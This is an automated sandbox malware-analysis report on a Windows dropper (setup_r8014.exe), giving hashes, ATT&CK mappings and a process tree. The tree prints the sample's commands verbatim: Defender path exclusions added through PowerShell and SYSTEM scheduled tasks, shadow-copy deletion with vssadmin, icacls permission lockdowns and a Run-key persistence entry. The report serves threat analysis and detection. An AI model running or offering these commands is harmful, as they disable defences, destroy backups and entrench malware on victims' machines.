1a13a08dc833be0ffd831dd965ad66d0502943f12d7dbbb9810f1b1aab85f665

Analysis

max time kernel
141s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_r8014.exe
Size 40.9MB
Sample260805-e7q2hsybmd
SHA256 1a13a08dc833be0ffd831dd965ad66d0502943f12d7dbbb9810f1b1aab85f665
MD5 0f7502575e0a3395fa7c13d23017c5e5
SHA1 556cc5da0ab39b494e6906197ce80a08f25d76f1
SHA512 b11f3d101a6eb90c61dbc7784b75774859a1075c3886fc76fc2a4b5bfa47d9a5c1b9f34d3362aa644219f76cb25bebe438b9b89f831662474c44ca5062065db7
SSDEEP 98304:Nuj9nmneNvl8/HgAKaF3CMGQ23dVcL8kxEPjo:8Rnmedl8vgAKa1RGQ23dtkSPjo
TLSH
T1F097F58FBB42CDC1DA4691F0549BB76023FEFC655BE1C32312D46B21AE9718C8DA35A1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\FmUnOi = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1740	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3568	YCGlvB.exe
4896	YCGlvB.exe

Loads dropped DLL 2 IoCs

pid	Process
3568	YCGlvB.exe
4896	YCGlvB.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5000	icacls.exe
2660	icacls.exe
5392	icacls.exe
3468	icacls.exe
3004	icacls.exe
3524	icacls.exe
5992	icacls.exe
1688	icacls.exe
2748	icacls.exe
3908	icacls.exe
5928	icacls.exe
4776	icacls.exe
1236	icacls.exe
1288	icacls.exe
3152	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\FmUnOi\\YCGlvB.exe\""	YCGlvB.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2276	cmd.exe
2516	cmd.exe
4356	cmd.exe
4300	cmd.exe
2764	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	YCGlvB.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\821dAh\image.png	YCGlvB.exe
File opened for modification	C:\Program Files (x86)\821dAh\thumbs.db	YCGlvB.exe
File opened for modification	C:\Program Files (x86)\821dAh	YCGlvB.exe
File created	C:\Program Files (x86)\821dAh\OQ6boa.exe	YCGlvB.exe
File created	C:\Program Files (x86)\821dAh\image.png	YCGlvB.exe
File created	C:\Program Files (x86)\821dAh\thumbs.db	YCGlvB.exe
File opened for modification	C:\Program Files (x86)\821dAh\OQ6boa.exe	YCGlvB.exe
File created	C:\Program Files (x86)\821dAh\XPSPLOG.dll	YCGlvB.exe
File opened for modification	C:\Program Files (x86)\821dAh\XPSPLOG.dll	YCGlvB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5924	cmd.exe
2708	cmd.exe
4912	cmd.exe
4736	cmd.exe
1404	cmd.exe
2792	cmd.exe
960	cmd.exe
5308	cmd.exe
2960	cmd.exe
4216	cmd.exe
1876	cmd.exe
5716	cmd.exe
1844	cmd.exe
2444	cmd.exe
2036	cmd.exe
5732	cmd.exe
3336	cmd.exe
3120	cmd.exe
3416	cmd.exe
2232	cmd.exe
1932	cmd.exe
3388	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1828	schtasks.exe
5928	schtasks.exe
1600	schtasks.exe
1652	schtasks.exe
2568	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
792	setup_r8014.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe
3568	YCGlvB.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeIncreaseQuotaPrivilege	1740	powershell.exe
Token: SeSecurityPrivilege	1740	powershell.exe
Token: SeTakeOwnershipPrivilege	1740	powershell.exe
Token: SeLoadDriverPrivilege	1740	powershell.exe
Token: SeSystemProfilePrivilege	1740	powershell.exe
Token: SeSystemtimePrivilege	1740	powershell.exe
Token: SeProfSingleProcessPrivilege	1740	powershell.exe
Token: SeIncBasePriorityPrivilege	1740	powershell.exe
Token: SeCreatePagefilePrivilege	1740	powershell.exe
Token: SeBackupPrivilege	1740	powershell.exe
Token: SeRestorePrivilege	1740	powershell.exe
Token: SeShutdownPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeSystemEnvironmentPrivilege	1740	powershell.exe
Token: SeRemoteShutdownPrivilege	1740	powershell.exe
Token: SeUndockPrivilege	1740	powershell.exe
Token: SeManageVolumePrivilege	1740	powershell.exe
Token: 33	1740	powershell.exe
Token: 34	1740	powershell.exe
Token: 35	1740	powershell.exe
Token: 36	1740	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 1740	3568	YCGlvB.exe	94
PID 3568 wrote to memory of 4300	3568	YCGlvB.exe	96
PID 4300 wrote to memory of 1828	4300	cmd.exe	98
PID 4300 wrote to memory of 5164	4300	cmd.exe	100
PID 3568 wrote to memory of 2764	3568	YCGlvB.exe	101
PID 4300 wrote to memory of 1968	4300	cmd.exe	105
PID 3568 wrote to memory of 2276	3568	YCGlvB.exe	106
PID 2764 wrote to memory of 5928	2764	cmd.exe	108
PID 2276 wrote to memory of 1600	2276	cmd.exe	109
PID 2764 wrote to memory of 4736	2764	cmd.exe	110
PID 2276 wrote to memory of 2160	2276	cmd.exe	112
PID 3568 wrote to memory of 2516	3568	YCGlvB.exe	113
PID 2276 wrote to memory of 5724	2276	cmd.exe	115
PID 2764 wrote to memory of 5700	2764	cmd.exe	116
PID 2516 wrote to memory of 1652	2516	cmd.exe	117
PID 2516 wrote to memory of 2436	2516	cmd.exe	118
PID 2516 wrote to memory of 6052	2516	cmd.exe	120
PID 3568 wrote to memory of 4356	3568	YCGlvB.exe	124
PID 4356 wrote to memory of 2568	4356	cmd.exe	126
PID 4356 wrote to memory of 2792	4356	cmd.exe	127
PID 4356 wrote to memory of 3856	4356	cmd.exe	129
PID 1844 wrote to memory of 3524	1844	cmd.exe	131
PID 4216 wrote to memory of 5324	4216	cmd.exe	132
PID 5716 wrote to memory of 5312	5716	cmd.exe	133
PID 1876 wrote to memory of 4432	1876	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe
"C:\Users\Admin\AppData\Local\Temp\setup_r8014.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1564

C:\Users\Public\FmUnOi\YCGlvB.exe
"C:\Users\Public\FmUnOi\YCGlvB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FmUnOi\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FmUnOi\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1828
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5928
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2160
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2436
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2568
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2792
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3856
- C:\Program Files (x86)\821dAh\OQ6boa.exe
  "C:\Program Files (x86)\821dAh\OQ6boa.exe"
  2⤵
  PID:3700
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3336
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1288
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2036
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5928
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:3388
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:5000
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\OQ6boa.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1404
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\OQ6boa.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2660
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\OQ6boa.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\OQ6boa.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5392
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\OQ6boa.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3416
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\OQ6boa.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1932
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5992
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5308
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:1236
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:3908
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2748
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5732
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2232
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5924
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3468
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\821dAh\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\821dAh\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:3524

C:\Users\Public\FmUnOi\YCGlvB.exe
"C:\Users\Public\FmUnOi\YCGlvB.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4896

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FmUnOi" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FmUnOi" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5324

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5856

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4432

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5716
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5312

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3524

C:\Program Files (x86)\821dAh\OQ6boa.exe
"C:\Program Files (x86)\821dAh\OQ6boa.exe"
1⤵
PID:204

C:\Program Files (x86)\rTs7xC\bBQ2w.exe
"C:\Program Files (x86)\rTs7xC\bBQ2w.exe"
1⤵
PID:4088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

OQ6boa.exe

Path C:\Program Files (x86)\821dAh\OQ6boa.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\821dAh\XPSPLOG.dll
Size 4.6MB
SHA256 9e2d18e0871a47ae719720cc9a341333b9e6b067d419e268c70e7f81efa4ed48
MD5 987713462b03c32ac449642d51d9f9f3
SHA1 32d5f7824350f28771a7ec7c3d84c706810c16fc
SHA512 136831d5f4105bd5a8c312ba60dc32deaa6f8a7fa5398c9a19a957570f2037e8c8703e2a56a2b4339edabf3896a10f98ac41be953140bd720ad4f4d453acd4ab
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyq:BMWKfU+BcUTHCCCfqCiUffnq
TLSH
T1BB263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\821dAh\image.png
Size 5.0MB
SHA256 34ffa9098a9be30d61302fa474d6c2a39e98cceee7b4710ceb14df4fdf32bd57
MD5 867da6ab8ecbe0e76741f545ba726174
SHA1 070ef47a48c339dd6e8760cd768601ab262969bf
SHA512 a90e5d23063107866cc5585fb07b7bfddf6e278cbf0d09b571f9a684c21909f95c8cc7fd44e617885b9c98bbecf3f9e6e1de7ff031cdc7680994246af211dd6a
SSDEEP 98304:ZqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:J/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
